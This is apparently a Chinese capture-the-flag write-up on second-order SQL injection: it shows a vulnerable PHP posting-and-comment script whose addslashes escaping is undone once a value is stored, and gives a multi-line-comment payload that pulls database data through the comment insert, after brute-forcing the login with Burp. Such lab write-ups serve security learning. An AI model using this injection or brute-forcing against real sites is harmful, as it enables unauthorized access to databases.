二次注入CTF实战

进入靶机有一个发帖的功能,我们点击提交发现需要我们登录

这里可以用bp抓包进行暴力破解

进来发现我们干不了什么

用dirmap扫一下

php 复制代码
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

找到他的一个源码

他首先需要一个登录这里我们已经登录了

发完贴他会直接跳回index.php

点击详情会看到这个文件

php 复制代码
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;

他会从数据库里把category拿出来

addslanshes这个会过滤掉会进行一个转译,但是进入mysql库里的时候转义字符会移除,所以出库的时候就没有了转义字符,所以我们这里可以进行二次注入在comment里

闭合情况下

php 复制代码
insert into comment
       set category = ' ',content=user(),/*',
           content = '*/#',
           bo_id = '$bo_id'";

这里需要多行注释

可以拿到数据了,后面就是修改payload

相关推荐
AORO_BEIDOU25 分钟前
三防平板科普:有什么特殊功能?应用在什么场景?
网络·5g·安全·电脑·信息与通信
Hello.Reader1 小时前
redis-py 在 Python 中连接与使用 Redis
网络协议·安全·ssl
半个西瓜.1 小时前
JWT安全:假密钥.【签名随便写实现越权绕过.】
网络·安全·web安全·网络安全·安全威胁分析
ks胤墨1 小时前
远程办公时代macOS访问解决方案:兼顾效率提升与安全防护的实用架构指南
安全·macos·架构
zhangzeyuaaa2 小时前
CPU特权级别:硬件与软件协同构建系统安全的基石
安全·系统安全
IT科技那点事儿5 小时前
Accelerate 2025北亚巡展正式启航!AI智御全球·引领安全新时代
人工智能·安全
亚远景aspice5 小时前
亚远景-ISO 21434标准:汽车网络安全实践的落地指南
网络·web安全·汽车
炎码工坊6 小时前
云原生安全之HTTP协议:从基础到实战的安全指南
安全·http·网络安全·云原生·云计算
白初&6 小时前
CVE-2024-27348
java·安全
炫彩@之星6 小时前
文件上传绕过方法总结
web安全·文件上传绕过方法总结